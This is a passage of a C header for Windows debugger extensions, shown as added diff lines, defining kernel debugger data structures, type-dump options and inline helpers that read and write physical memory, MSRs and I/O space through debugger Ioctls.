is provided in the + // WAIT_STATE_CHANGE packet. This is the offset from the base of + // the thread structure to the pointer to the kernel stack frame + // for the currently active usermode callback. + // + + USHORT ThCallbackStack; // offset in thread data + + // + // these values are offsets into that frame: + // + + USHORT NextCallback; // saved pointer to next callback frame + USHORT FramePointer; // saved frame pointer + + // + // Address of the kernel callout routine. + // + + ULONG KiCallUserMode; // kernel routine + + // + // Address of the usermode entry point for callbacks. + // + + ULONG KeUserCallbackDispatcher; // address in ntdll + + // + // DbgBreakPointWithStatus is a function which takes a ULONG argument + // and hits a breakpoint. This field contains the address of the + // breakpoint instruction. When the debugger sees a breakpoint + // at this address, it may retrieve the argument from the first + // argument register, or on x86 the eax register. + // + + ULONG BreakpointWithStatus; // address of breakpoint + + // + // Components may register a debug data block for use by + // debugger extensions. This is the address of the list head. + // + + ULONG DebuggerDataList; + +} DBGKD_GET_VERSION32, *PDBGKD_GET_VERSION32; + + +// +// This is the debugger data packet for pre NT5 Beta 2 systems. +// For now, it is still used on x86 +// + +typedef struct _DBGKD_DEBUG_DATA_HEADER32 { + + LIST_ENTRY32 List; + ULONG OwnerTag; + ULONG Size; + +} DBGKD_DEBUG_DATA_HEADER32, *PDBGKD_DEBUG_DATA_HEADER32; + +typedef struct _KDDEBUGGER_DATA32 { + + DBGKD_DEBUG_DATA_HEADER32 Header; + ULONG KernBase; + ULONG BreakpointWithStatus; // address of breakpoint + ULONG SavedContext; + USHORT ThCallbackStack; // offset in thread data + USHORT NextCallback; // saved pointer to next callback frame + USHORT FramePointer; // saved frame pointer + USHORT PaeEnabled:1; + ULONG KiCallUserMode; // kernel routine + ULONG KeUserCallbackDispatcher; // address in ntdll + + ULONG PsLoadedModuleList; + ULONG PsActiveProcessHead; + ULONG PspCidTable; + + ULONG ExpSystemResourcesList; + ULONG ExpPagedPoolDescriptor; + ULONG ExpNumberOfPagedPools; + + ULONG KeTimeIncrement; + ULONG KeBugCheckCallbackListHead; + ULONG KiBugcheckData; + + ULONG IopErrorLogListHead; + + ULONG ObpRootDirectoryObject; + ULONG ObpTypeObjectType; + + ULONG MmSystemCacheStart; + ULONG MmSystemCacheEnd; + ULONG MmSystemCacheWs; + + ULONG MmPfnDatabase; + ULONG MmSystemPtesStart; + ULONG MmSystemPtesEnd; + ULONG MmSubsectionBase; + ULONG MmNumberOfPagingFiles; + + ULONG MmLowestPhysicalPage; + ULONG MmHighestPhysicalPage; + ULONG MmNumberOfPhysicalPages; + + ULONG MmMaximumNonPagedPoolInBytes; + ULONG MmNonPagedSystemStart; + ULONG MmNonPagedPoolStart; + ULONG MmNonPagedPoolEnd; + + ULONG MmPagedPoolStart; + ULONG MmPagedPoolEnd; + ULONG MmPagedPoolInformation; + ULONG MmPageSize; + + ULONG MmSizeOfPagedPoolInBytes; + + ULONG MmTotalCommitLimit; + ULONG MmTotalCommittedPages; + ULONG MmSharedCommit; + ULONG MmDriverCommit; + ULONG MmProcessCommit; + ULONG MmPagedPoolCommit; + ULONG MmExtendedCommit; + + ULONG MmZeroedPageListHead; + ULONG MmFreePageListHead; + ULONG MmStandbyPageListHead; + ULONG MmModifiedPageListHead; + ULONG MmModifiedNoWritePageListHead; + ULONG MmAvailablePages; + ULONG MmResidentAvailablePages; + + ULONG PoolTrackTable; + ULONG NonPagedPoolDescriptor; + + ULONG MmHighestUserAddress; + ULONG MmSystemRangeStart; + ULONG MmUserProbeAddress; + + ULONG KdPrintCircularBuffer; + ULONG KdPrintCircularBufferEnd; + ULONG KdPrintWritePointer; + ULONG KdPrintRolloverCount; + + ULONG MmLoadedUserImageList; + +} KDDEBUGGER_DATA32, *PKDDEBUGGER_DATA32; + +// ********************************************************************** +// +// DO NOT CHANGE KDDEBUGGER_DATA32!! +// ONLY MAKE CHANGES TO KDDEBUGGER_DATA64!!! +// +// ********************************************************************** + + +enum +{ + DBGKD_SIMULATION_NONE, + DBGKD_SIMULATION_EXDI +}; + +#define KD_SECONDARY_VERSION_DEFAULT 0 + +#define KD_SECONDARY_VERSION_AMD64_OBSOLETE_CONTEXT_1 0 +#define KD_SECONDARY_VERSION_AMD64_OBSOLETE_CONTEXT_2 1 +#define KD_SECONDARY_VERSION_AMD64_CONTEXT 2 + +#ifdef _AMD64_ +#define CURRENT_KD_SECONDARY_VERSION \ + KD_SECONDARY_VERSION_AMD64_CONTEXT +#else +#define CURRENT_KD_SECONDARY_VERSION KD_SECONDARY_VERSION_DEFAULT +#endif + +typedef struct _DBGKD_GET_VERSION64 { + USHORT MajorVersion; + USHORT MinorVersion; + UCHAR ProtocolVersion; + UCHAR KdSecondaryVersion; // Cannot be 'A' for compat with dump header + USHORT Flags; + USHORT MachineType; + + // + // Protocol command support descriptions. + // These allow the debugger to automatically + // adapt to different levels of command support + // in different kernels. + // + + // One beyond highest packet type understood, zero based. + UCHAR MaxPacketType; + // One beyond highest state change understood, zero based. + UCHAR MaxStateChange; + // One beyond highest state manipulate message understood, zero based. + UCHAR MaxManipulate; + + // Kind of execution environment the kernel is running in, + // such as a real machine or a simulator. Written back + // by the simulation if one exists. + UCHAR Simulation; + + USHORT Unused[1]; + + ULONG64 KernBase; + ULONG64 PsLoadedModuleList; + + // + // Components may register a debug data block for use by + // debugger extensions. This is the address of the list head. + // + // There will always be an entry for the debugger. + // + + ULONG64 DebuggerDataList; + +} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64; + + +// +// This structure is used by the debugger for all targets +// It is the same size as DBGKD_DATA_HEADER on all systems +// +typedef struct _DBGKD_DEBUG_DATA_HEADER64 { + + // + // Link to other blocks + // + + LIST_ENTRY64 List; + + // + // This is a unique tag to identify the owner of the block. + // If your component only uses one pool tag, use it for this, too. + // + + ULONG OwnerTag; + + // + // This must be initialized to the size of the data block, + // including this structure. + // + + ULONG Size; + +} DBGKD_DEBUG_DATA_HEADER64, *PDBGKD_DEBUG_DATA_HEADER64; + + +// +// This structure is the same size on all systems. The only field +// which must be translated by the debugger is Header.List. +// + +// +// DO NOT ADD OR REMOVE FIELDS FROM THE MIDDLE OF THIS STRUCTURE!!! +// +// If you remove a field, replace it with an "unused" placeholder. +// Do not reuse fields until there has been enough time for old debuggers +// and extensions to age out. +// +typedef struct _KDDEBUGGER_DATA64 { + + DBGKD_DEBUG_DATA_HEADER64 Header; + + // + // Base address of kernel image + // + + ULONG64 KernBase; + + // + // DbgBreakPointWithStatus is a function which takes an argument + // and hits a breakpoint. This field contains the address of the + // breakpoint instruction. When the debugger sees a breakpoint + // at this address, it may retrieve the argument from the first + // argument register, or on x86 the eax register. + // + + ULONG64 BreakpointWithStatus; // address of breakpoint + + // + // Address of the saved context record during a bugcheck + // + // N.B. This is an automatic in KeBugcheckEx's frame, and + // is only valid after a bugcheck. + // + + ULONG64 SavedContext; + + // + // help for walking stacks with user callbacks: + // + + // + // The address of the thread structure is provided in the + // WAIT_STATE_CHANGE packet. This is the offset from the base of + // the thread structure to the pointer to the kernel stack frame + // for the currently active usermode callback. + // + + USHORT ThCallbackStack; // offset in thread data + + // + // these values are offsets into that frame: + // + + USHORT NextCallback; // saved pointer to next callback frame + USHORT FramePointer; // saved frame pointer + + // + // pad to a quad boundary + // + USHORT PaeEnabled:1; + + // + // Address of the kernel callout routine. + // + + ULONG64 KiCallUserMode; // kernel routine + + // + // Address of the usermode entry point for callbacks. + // + + ULONG64 KeUserCallbackDispatcher; // address in ntdll + + + // + // Addresses of various kernel data structures and lists + // that are of interest to the kernel debugger. + // + + ULONG64 PsLoadedModuleList; + ULONG64 PsActiveProcessHead; + ULONG64 PspCidTable; + + ULONG64 ExpSystemResourcesList; + ULONG64 ExpPagedPoolDescriptor; + ULONG64 ExpNumberOfPagedPools; + + ULONG64 KeTimeIncrement; + ULONG64 KeBugCheckCallbackListHead; + ULONG64 KiBugcheckData; + + ULONG64 IopErrorLogListHead; + + ULONG64 ObpRootDirectoryObject; + ULONG64 ObpTypeObjectType; + + ULONG64 MmSystemCacheStart; + ULONG64 MmSystemCacheEnd; + ULONG64 MmSystemCacheWs; + + ULONG64 MmPfnDatabase; + ULONG64 MmSystemPtesStart; + ULONG64 MmSystemPtesEnd; + ULONG64 MmSubsectionBase; + ULONG64 MmNumberOfPagingFiles; + + ULONG64 MmLowestPhysicalPage; + ULONG64 MmHighestPhysicalPage; + ULONG64 MmNumberOfPhysicalPages; + + ULONG64 MmMaximumNonPagedPoolInBytes; + ULONG64 MmNonPagedSystemStart; + ULONG64 MmNonPagedPoolStart; + ULONG64 MmNonPagedPoolEnd; + + ULONG64 MmPagedPoolStart; + ULONG64 MmPagedPoolEnd; + ULONG64 MmPagedPoolInformation; + ULONG64 MmPageSize; + + ULONG64 MmSizeOfPagedPoolInBytes; + + ULONG64 MmTotalCommitLimit; + ULONG64 MmTotalCommittedPages; + ULONG64 MmSharedCommit; + ULONG64 MmDriverCommit; + ULONG64 MmProcessCommit; + ULONG64 MmPagedPoolCommit; + ULONG64 MmExtendedCommit; + + ULONG64 MmZeroedPageListHead; + ULONG64 MmFreePageListHead; + ULONG64 MmStandbyPageListHead; + ULONG64 MmModifiedPageListHead; + ULONG64 MmModifiedNoWritePageListHead; + ULONG64 MmAvailablePages; + ULONG64 MmResidentAvailablePages; + + ULONG64 PoolTrackTable; + ULONG64 NonPagedPoolDescriptor; + + ULONG64 MmHighestUserAddress; + ULONG64 MmSystemRangeStart; + ULONG64 MmUserProbeAddress; + + ULONG64 KdPrintCircularBuffer; + ULONG64 KdPrintCircularBufferEnd; + ULONG64 KdPrintWritePointer; + ULONG64 KdPrintRolloverCount; + + ULONG64 MmLoadedUserImageList; + + // NT 5.1 Addition + + ULONG64 NtBuildLab; + ULONG64 KiNormalSystemCall; + + // NT 5.0 hotfix addition + + ULONG64 KiProcessorBlock; + ULONG64 MmUnloadedDrivers; + ULONG64 MmLastUnloadedDriver; + ULONG64 MmTriageActionTaken; + ULONG64 MmSpecialPoolTag; + ULONG64 KernelVerifier; + ULONG64 MmVerifierData; + ULONG64 MmAllocatedNonPagedPool; + ULONG64 MmPeakCommitment; + ULONG64 MmTotalCommitLimitMaximum; + ULONG64 CmNtCSDVersion; + + // NT 5.1 Addition + + ULONG64 MmPhysicalMemoryBlock; + ULONG64 MmSessionBase; + ULONG64 MmSessionSize; + ULONG64 MmSystemParentTablePage; + + // Server 2003 addition + + ULONG64 MmVirtualTranslationBase; + + USHORT OffsetKThreadNextProcessor; + USHORT OffsetKThreadTeb; + USHORT OffsetKThreadKernelStack; + USHORT OffsetKThreadInitialStack; + + USHORT OffsetKThreadApcProcess; + USHORT OffsetKThreadState; + USHORT OffsetKThreadBStore; + USHORT OffsetKThreadBStoreLimit; + + USHORT SizeEProcess; + USHORT OffsetEprocessPeb; + USHORT OffsetEprocessParentCID; + USHORT OffsetEprocessDirectoryTableBase; + + USHORT SizePrcb; + USHORT OffsetPrcbDpcRoutine; + USHORT OffsetPrcbCurrentThread; + USHORT OffsetPrcbMhz; + + USHORT OffsetPrcbCpuType; + USHORT OffsetPrcbVendorString; + USHORT OffsetPrcbProcStateContext; + USHORT OffsetPrcbNumber; + + USHORT SizeEThread; + + ULONG64 KdPrintCircularBufferPtr; + ULONG64 KdPrintBufferSize; + + ULONG64 KeLoaderBlock; + + USHORT SizePcr; + USHORT OffsetPcrSelfPcr; + USHORT OffsetPcrCurrentPrcb; + USHORT OffsetPcrContainedPrcb; + + USHORT OffsetPcrInitialBStore; + USHORT OffsetPcrBStoreLimit; + USHORT OffsetPcrInitialStack; + USHORT OffsetPcrStackLimit; + + USHORT OffsetPrcbPcrPage; + USHORT OffsetPrcbProcStateSpecialReg; + USHORT GdtR0Code; + USHORT GdtR0Data; + + USHORT GdtR0Pcr; + USHORT GdtR3Code; + USHORT GdtR3Data; + USHORT GdtR3Teb; + + USHORT GdtLdt; + USHORT GdtTss; + USHORT Gdt64R3CmCode; + USHORT Gdt64R3CmTeb; + + ULONG64 IopNumTriageDumpDataBlocks; + ULONG64 IopTriageDumpDataBlocks; + + // Longhorn addition + + ULONG64 VfCrashDataBlock; + ULONG64 MmBadPagesDetected; + ULONG64 MmZeroedPageSingleBitErrorsDetected; + + // Windows 7 addition + + ULONG64 EtwpDebuggerData; + USHORT OffsetPrcbContext; + +} KDDEBUGGER_DATA64, *PKDDEBUGGER_DATA64; + + + +/************************************ + + Type Dump Ioctl + +*************************************/ + + +// +// Fields are not indented if this is set +// +#define DBG_DUMP_NO_INDENT 0x00000001 +// +// Offsets are not printed if this is set +// +#define DBG_DUMP_NO_OFFSET 0x00000002 +// +// Verbose output +// +#define DBG_DUMP_VERBOSE 0x00000004 +// +// Callback is done for each of fields +// +#define DBG_DUMP_CALL_FOR_EACH 0x00000008 +// +// A list of type is dumped, listLink should have info about next element pointer +// +#define DBG_DUMP_LIST 0x00000020 +// +// Nothing is printed if this is set (only callbacks and data copies done) +// +#define DBG_DUMP_NO_PRINT 0x00000040 +// +// Ioctl returns the size as usual, but will not do field prints/callbacks if this is set +// +#define DBG_DUMP_GET_SIZE_ONLY 0x00000080 +// +// Specifies how much deep into structs we can go +// +#define DBG_DUMP_RECUR_LEVEL(l) ((l & 0xf) << 8) +// +// No newlines are printed after each field +// +#define DBG_DUMP_COMPACT_OUT 0x00002000 +// +// An array of type is dumped, number of elements can be specified in listLink->size +// +#define DBG_DUMP_ARRAY 0x00008000 +// +// The specified addr value is actually the address of field listLink->fName +// +#define DBG_DUMP_ADDRESS_OF_FIELD 0x00010000 + +// +// The specified addr value is actually the adress at the end of type +// +#define DBG_DUMP_ADDRESS_AT_END 0x00020000 + +// +// This could be used to copy only the primitive types like ULONG, PVOID etc. +// - will not work with structures/unions +// +#define DBG_DUMP_COPY_TYPE_DATA 0x00040000 +// +// Flag to allow read directly from physical memory +// +#define DBG_DUMP_READ_PHYSICAL 0x00080000 +// +// This causes a function type to be dumped in format function(arg1, arg2, ...) +// +#define DBG_DUMP_FUNCTION_FORMAT 0x00100000 +// +// This recurses on a struct but doesn't expand pointers +// +#define DBG_DUMP_BLOCK_RECURSE 0x00200000 +// +// Match the type size to resolve ambiguity in case multiple matches with same name are available +// +#define DBG_DUMP_MATCH_SIZE 0x00400000 + +// +// Obsolete defs +// +#define DBG_RETURN_TYPE 0 +#define DBG_RETURN_SUBTYPES 0 +#define DBG_RETURN_TYPE_VALUES 0 + +// +// Dump and callback optons for fields - Options used in FIELD_INFO.fOptions +// + +// +// Callback is done before printing the field if this is set +// +#define DBG_DUMP_FIELD_CALL_BEFORE_PRINT 0x00000001 +// +// No callback is done +// +#define DBG_DUMP_FIELD_NO_CALLBACK_REQ 0x00000002 +// +// Subfields of the fields are processesed +// +#define DBG_DUMP_FIELD_RECUR_ON_THIS 0x00000004 +// +// fName must match completely for the field to be dumped instead just a prefix +// match by default +// +#define DBG_DUMP_FIELD_FULL_NAME 0x00000008 +// +// This causes array elements of an array field to be printed +// +#define DBG_DUMP_FIELD_ARRAY 0x00000010 +// +// The data of the field is copied into fieldCallBack +// +#define DBG_DUMP_FIELD_COPY_FIELD_DATA 0x00000020 +// +// In callback or when Ioctl returns, the FIELD_INFO.address has the address of field. +// If no address is supplied for the type, it contains total offset of the field. +// +#define DBG_DUMP_FIELD_RETURN_ADDRESS 0x00001000 +// +// Return the offset and size in bits instead of bytes is case of Bitfield +// +#define DBG_DUMP_FIELD_SIZE_IN_BITS 0x00002000 +// +// Nothing is printed for field if this is set (only callbacks and data copies done) +// +#define DBG_DUMP_FIELD_NO_PRINT 0x00004000 +// +// If the field is a pointer, it is dumped as a string, ANSI, WCHAR, MULTI or GUID +// depending on following options +// +#define DBG_DUMP_FIELD_DEFAULT_STRING 0x00010000 +#define DBG_DUMP_FIELD_WCHAR_STRING 0x00020000 +#define DBG_DUMP_FIELD_MULTI_STRING 0x00040000 +#define DBG_DUMP_FIELD_GUID_STRING 0x00080000 + + +// +// Error status returned on TYPE DUMP Ioctl failure +// +#define MEMORY_READ_ERROR 0x01 +#define SYMBOL_TYPE_INDEX_NOT_FOUND 0x02 +#define SYMBOL_TYPE_INFO_NOT_FOUND 0x03 +#define FIELDS_DID_NOT_MATCH 0x04 +#define NULL_SYM_DUMP_PARAM 0x05 +#define NULL_FIELD_NAME 0x06 +#define INCORRECT_VERSION_INFO 0x07 +#define EXIT_ON_CONTROLC 0x08 +#define CANNOT_ALLOCATE_MEMORY 0x09 +#define INSUFFICIENT_SPACE_TO_COPY 0x0a +#define ADDRESS_TYPE_INDEX_NOT_FOUND 0x0b + + +//////////////////////////////////////////////////////////////////////////*/ + + +typedef +ULONG +(WDBGAPI*PSYM_DUMP_FIELD_CALLBACK)( + struct _FIELD_INFO *pField, + PVOID UserContext + ); + +typedef struct _FIELD_INFO { + PUCHAR fName; // Name of the field + PUCHAR printName; // Name to be printed at dump + ULONG size; // Size of the field + ULONG fOptions; // Dump Options for the field + ULONG64 address; // address of the field + union { + PVOID fieldCallBack; // Return info or callBack routine for the field + PVOID pBuffer; // the type data is copied into this + }; + ULONG TypeId; // OUT Type index of the field + ULONG FieldOffset; // OUT Offset of field inside struct + ULONG BufferSize; // size of buffer used with DBG_DUMP_FIELD_COPY_FIELD_DATA + struct _BitField { + USHORT Position; // OUT set to start position for bitfield + USHORT Size; // OUT set to size for bitfields + } BitField; + ULONG fPointer:2; // OUT set to 1 for pointers, 3 for 64bit pointers + ULONG fArray:1; // OUT set to 1 for array types + ULONG fStruct:1; // OUT set to 1 for struct/class tyoes + ULONG fConstant:1; // OUT set to 1 for constants (enumerate as fields) + ULONG fStatic:1; // OUT set to 1 for statics (class/struct static members) + ULONG Reserved:26; // unused +} FIELD_INFO, *PFIELD_INFO; + +typedef struct _SYM_DUMP_PARAM { + ULONG size; // size of this struct + PUCHAR sName; // type name + ULONG Options; // Dump options + ULONG64 addr; // Address to take data for type + PFIELD_INFO listLink; // fName here would be used to do list dump + union { + PVOID Context; // Usercontext passed to CallbackRoutine + PVOID pBuffer; // the type data is copied into this + }; + PSYM_DUMP_FIELD_CALLBACK CallbackRoutine; + // Routine called back + ULONG nFields; // # elements in Fields + __field_ecount_opt(nFields) PFIELD_INFO Fields; // Used to return information about field + ULONG64 ModBase; // OUT Module base address containing type + ULONG TypeId; // OUT Type index of the symbol + ULONG TypeSize; // OUT Size of type + ULONG BufferSize; // IN size of buffer (used with DBG_DUMP_COPY_TYPE_DATA) + ULONG fPointer:2; // OUT set to 1 for pointers, 3 for 64bit pointers + ULONG fArray:1; // OUT set to 1 for array types + ULONG fStruct:1; // OUT set to 1 for struct/class tyoes + ULONG fConstant:1; // OUT set to 1 for constant types (unused) + ULONG Reserved:27; // unused +} SYM_DUMP_PARAM, *PSYM_DUMP_PARAM; + +#ifdef __cplusplus +#define CPPMOD extern "C" +#else +#define CPPMOD +#endif + + +#ifndef NOEXTAPI + +#if defined(KDEXT_64BIT) +#define WINDBG_EXTENSION_APIS WINDBG_EXTENSION_APIS64 +#define PWINDBG_EXTENSION_APIS PWINDBG_EXTENSION_APIS64 +#define PWINDBG_EXTENSION_ROUTINE PWINDBG_EXTENSION_ROUTINE64 +#define DECLARE_API(s) DECLARE_API64(s) +#elif defined(KDEXT_32BIT) +#define WINDBG_EXTENSION_APIS WINDBG_EXTENSION_APIS32 +#define PWINDBG_EXTENSION_APIS PWINDBG_EXTENSION_APIS32 +#define PWINDBG_EXTENSION_ROUTINE PWINDBG_EXTENSION_ROUTINE32 +#define DECLARE_API(s) DECLARE_API32(s) +#else +#define DECLARE_API(s) \ + CPPMOD VOID \ + s( \ + HANDLE hCurrentProcess, \ + HANDLE hCurrentThread, \ + ULONG dwCurrentPc, \ + ULONG dwProcessor, \ + PCSTR args \ + ) +#endif + +#define DECLARE_API32(s) \ + CPPMOD VOID \ + s( \ + HANDLE hCurrentProcess, \ + HANDLE hCurrentThread, \ + ULONG dwCurrentPc, \ + ULONG dwProcessor, \ + PCSTR args \ + ) + +#define DECLARE_API64(s) \ + CPPMOD VOID \ + s( \ + HANDLE hCurrentProcess, \ + HANDLE hCurrentThread, \ + ULONG64 dwCurrentPc, \ + ULONG dwProcessor, \ + PCSTR args \ + ) + + +extern WINDBG_EXTENSION_APIS ExtensionApis; + + +#define dprintf (ExtensionApis.lpOutputRoutine) +#define GetExpression (ExtensionApis.lpGetExpressionRoutine) +#define CheckControlC (ExtensionApis.lpCheckControlCRoutine) +#define GetContext (ExtensionApis.lpGetThreadContextRoutine) +#define SetContext (ExtensionApis.lpSetThreadContextRoutine) +#define Ioctl (ExtensionApis.lpIoctlRoutine) +#define Disasm (ExtensionApis.lpDisasmRoutine) +#define GetSymbol (ExtensionApis.lpGetSymbolRoutine) +#define ReadMemory (ExtensionApis.lpReadProcessMemoryRoutine) +#define WriteMemory (ExtensionApis.lpWriteProcessMemoryRoutine) +#define StackTrace (ExtensionApis.lpStackTraceRoutine) + + +#define GetKdContext(ppi) \ + Ioctl( IG_KD_CONTEXT, (PVOID)ppi, sizeof(*ppi) ) + + +// +// BOOL +// GetDebuggerData( +// ULONG Tag, +// PVOID Buf, +// ULONG Size +// ) +// + +#define GetDebuggerData(TAG, BUF, SIZE) \ + ( (((PDBGKD_DEBUG_DATA_HEADER64)(BUF))->OwnerTag = (TAG)), \ + (((PDBGKD_DEBUG_DATA_HEADER64)(BUF))->Size = (SIZE)), \ + Ioctl( IG_GET_DEBUGGER_DATA, (PVOID)(BUF), (SIZE) ) ) + +// Check if LocalAlloc is prototyped +//#ifdef _WINBASE_ + +__inline VOID +ReadPhysical( + ULONG64 address, + PVOID buf, + ULONG size, + PULONG sizer + ) +{ + PPHYSICAL phy = NULL; + *sizer = 0; + if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*phy)) { + phy = (PPHYSICAL)LocalAlloc(LPTR, sizeof(*phy) + size ); + } + if (phy) { + ZeroMemory( phy->Buf, size ); + phy->Address = address; + phy->BufLen = size; + Ioctl( IG_READ_PHYSICAL, (PVOID)phy, sizeof(*phy) + size ); + *sizer = phy->BufLen; + CopyMemory( buf, phy->Buf, *sizer ); + LocalFree( phy ); + } +} + +__inline VOID +WritePhysical( + ULONG64 address, + PVOID buf, + ULONG size, + PULONG sizew + ) +{ + PPHYSICAL phy = NULL; + *sizew = 0; + if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*phy)) { + phy = (PPHYSICAL)LocalAlloc(LPTR, sizeof(*phy) + size ); + } + if (phy) { + ZeroMemory( phy->Buf, size ); + phy->Address = address; + phy->BufLen = size; + CopyMemory( phy->Buf, buf, size ); + Ioctl( IG_WRITE_PHYSICAL, (PVOID)phy, sizeof(*phy) + size ); + *sizew = phy->BufLen; + LocalFree( phy ); + } +} + +__inline VOID +ReadPhysicalWithFlags( + ULONG64 address, + PVOID buf, + ULONG size, + ULONG flags, + PULONG sizer + ) +{ + PPHYSICAL_WITH_FLAGS phy = NULL; + *sizer = 0; + if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*phy)) { + phy = (PPHYSICAL_WITH_FLAGS)LocalAlloc(LPTR, sizeof(*phy) + size ); + } + if (phy) { + ZeroMemory( phy->Buf, size ); + phy->Address = address; + phy->BufLen = size; + phy->Flags = flags; + Ioctl( IG_READ_PHYSICAL_WITH_FLAGS, (PVOID)phy, sizeof(*phy) + size ); + *sizer = phy->BufLen; + CopyMemory( buf, phy->Buf, *sizer ); + LocalFree( phy ); + } +} + +__inline VOID +WritePhysicalWithFlags( + ULONG64 address, + PVOID buf, + ULONG size, + ULONG flags, + PULONG sizew + ) +{ + PPHYSICAL_WITH_FLAGS phy = NULL; + *sizew = 0; + if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*phy)) { + phy = (PPHYSICAL_WITH_FLAGS)LocalAlloc(LPTR, sizeof(*phy) + size ); + } + if (phy) { + ZeroMemory( phy->Buf, size ); + phy->Address = address; + phy->BufLen = size; + phy->Flags = flags; + CopyMemory( phy->Buf, buf, size ); + Ioctl( IG_WRITE_PHYSICAL_WITH_FLAGS, (PVOID)phy, sizeof(*phy) + size ); + *sizew = phy->BufLen; + LocalFree( phy ); + } +} + +__inline VOID +ReadMsr( + ULONG MsrReg, + ULONGLONG *MsrValue + ) +{ + READ_WRITE_MSR msr; + + msr.Msr = MsrReg; + Ioctl( IG_READ_MSR, (PVOID)&msr, sizeof(msr) ); + + *MsrValue = msr.Value; +} + +__inline VOID +WriteMsr( + ULONG MsrReg, + ULONGLONG MsrValue + ) +{ + READ_WRITE_MSR msr; + + msr.Msr = MsrReg; + msr.Value = MsrValue; + Ioctl( IG_WRITE_MSR, (PVOID)&msr, sizeof(msr) ); +} + +__inline VOID +SetThreadForOperation( + ULONG_PTR * Thread + ) +{ + Ioctl(IG_SET_THREAD, (PVOID)Thread, sizeof(PULONG)); +} + +__inline VOID +SetThreadForOperation32( + ULONG Thread + ) +{ + Ioctl(IG_SET_THREAD, (PVOID)LongToPtr(Thread), sizeof(ULONG)); +} + +__inline VOID +SetThreadForOperation64( + PULONG64 Thread + ) +{ + Ioctl(IG_SET_THREAD, (PVOID)Thread, sizeof(ULONG64)); +} + + +__inline VOID +ReadControlSpace( + USHORT processor, + ULONG address, + PVOID buf, + ULONG size + ) +{ + PREADCONTROLSPACE prc = NULL; + if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*prc)) { + prc = (PREADCONTROLSPACE)LocalAlloc(LPTR, sizeof(*prc) + size ); + } + if (prc) { + ZeroMemory( prc->Buf, size ); + prc->Processor = processor; + prc->Address = address; + prc->BufLen = size; + Ioctl( IG_READ_CONTROL_SPACE, (PVOID)prc, sizeof(*prc) + size ); + CopyMemory( buf, prc->Buf, size ); + LocalFree( prc ); + } +} + +__inline VOID +ReadControlSpace32( + USHORT processor, + ULONG address, + PVOID buf, + ULONG size + ) +{ + PREADCONTROLSPACE32 prc = NULL; + if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*prc)) { + prc = (PREADCONTROLSPACE32)LocalAlloc(LPTR, sizeof(*prc) + size ); + } + if (prc) { + ZeroMemory( prc->Buf, size ); + prc->Processor = processor; + prc->Address = address; + prc->BufLen = size; + Ioctl( IG_READ_CONTROL_SPACE, (PVOID)prc, sizeof(*prc) + size ); + CopyMemory( buf, prc->Buf, size ); + LocalFree( prc ); + } +} + +#define ReadTypedControlSpace32( _Proc, _Addr, _Buf ) \ + ReadControlSpace64( (USHORT)(_Proc), (ULONG)(_Addr), (PVOID)&(_Buf), (ULONG)sizeof(_Buf) ) + +__inline VOID +ReadControlSpace64( + USHORT processor, + ULONG64 address, + PVOID buf, + ULONG size + ) +{ + PREADCONTROLSPACE64 prc = NULL; + if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*prc)) { + prc = (PREADCONTROLSPACE64)LocalAlloc(LPTR, sizeof(*prc) + size ); + } + if (prc) { + ZeroMemory( prc->Buf, size ); + prc->Processor = processor; + prc->Address = address; + prc->BufLen = size; + Ioctl( IG_READ_CONTROL_SPACE, (PVOID)prc, sizeof(*prc) + size ); + CopyMemory( buf, prc->Buf, size ); + LocalFree( prc ); + } +} + +#define ReadTypedControlSpace64( _Proc, _Addr, _Buf ) \ + ReadControlSpace64( (USHORT)(_Proc), (ULONG64)(_Addr), (PVOID)&(_Buf), (ULONG)sizeof(_Buf) ) + +__inline VOID +WriteControlSpace( + USHORT processor, + ULONG address, + PVOID buf, + ULONG size + ) +{ + PREADCONTROLSPACE64 prc = NULL; + if (size <= WDBGEXTS_MAXSIZE_T - sizeof(*prc)) { + prc = (PREADCONTROLSPACE64)LocalAlloc(LPTR, sizeof(*prc) + size ); + } + if (prc) { + ZeroMemory( prc->Buf, size ); + prc->Processor = processor; + prc->Address = address; + prc->BufLen = size; + CopyMemory( prc->Buf, buf, size ); + Ioctl( IG_WRITE_CONTROL_SPACE, (PVOID)prc, sizeof(*prc) + size ); + LocalFree( prc ); + } +} + +// #endif // _WINBASE_ + +__inline VOID +ReadIoSpace( + ULONG address, + PULONG data, + PULONG size + ) +{ + IOSPACE is; + is.Address = address; + is.Length = *size; + Ioctl( IG_READ_IO_SPACE, (PVOID)&is, sizeof(is) ); + memcpy(data, &is.Data, is.Length); + *size = is.Length; +} + +__inline VOID +ReadIoSpace32( + ULONG address, + PULONG data, + PULONG size + ) +{ + IOSPACE32 is; + is.Address = address; + is.Length = *size; + Ioctl( IG_READ_IO_SPACE, (PVOID)&is, sizeof(is) ); + memcpy(data, &is.Data, is.Length); + *size = is.Length; +} + +__inline VOID +ReadIoSpace64( + ULONG64 address, + PULONG data, + PULONG size + ) +{ + IOSPACE64 is; + is.Address = address; + is.Length = *size; + Ioctl( IG_READ_IO_SPACE, (PVOID)&is, sizeof(is) ); + memcpy(data, &is.Data, is.Length); + *size = is.Length; +} + +__inline VOID +WriteIoSpace( + ULONG address, + ULONG data, + PULONG size + ) +{ + IOSPACE is; + is.Address = (ULONG)address; + is.Length = *size; + is.Data = data; + Ioctl( IG_WRITE_IO_SPACE, (PVOID)&is, sizeof(is) ); + *size = is.Length; +} + +__inline VOID +WriteIoSpace32( + ULONG address, + ULONG data, + PULONG size + ) +{ + IOSPACE32 is; + is.Address = address; + is.Length = *size; + is.Data = data; + Ioctl( IG_WRITE_IO_SPACE, (PVOID)&is, sizeof(is) ); + *size = is.Length; +} + +__inline VOID +WriteIoSpace64( + ULONG64 address, + ULONG data, + PULONG size + ) +{ + IOSPACE64 is; + is.Address = address; + is.Length = *size; + is.Data = data; + Ioctl( IG_WRITE_IO_SPACE, (PVOID)&is, sizeof(is) ); + *size = is.Length; +} + +__inline VOID +ReadIoSpaceEx( + ULONG address, + PULONG data, + PULONG size, + ULONG interfacetype, + ULONG busnumber, + ULONG addressspace + ) +{ + IOSPACE_EX is; + is.Address = (ULONG)address; + is.Length = *size; + is.Data = 0; + is.InterfaceType = interfacetype; + is.BusNumber = busnumber; + 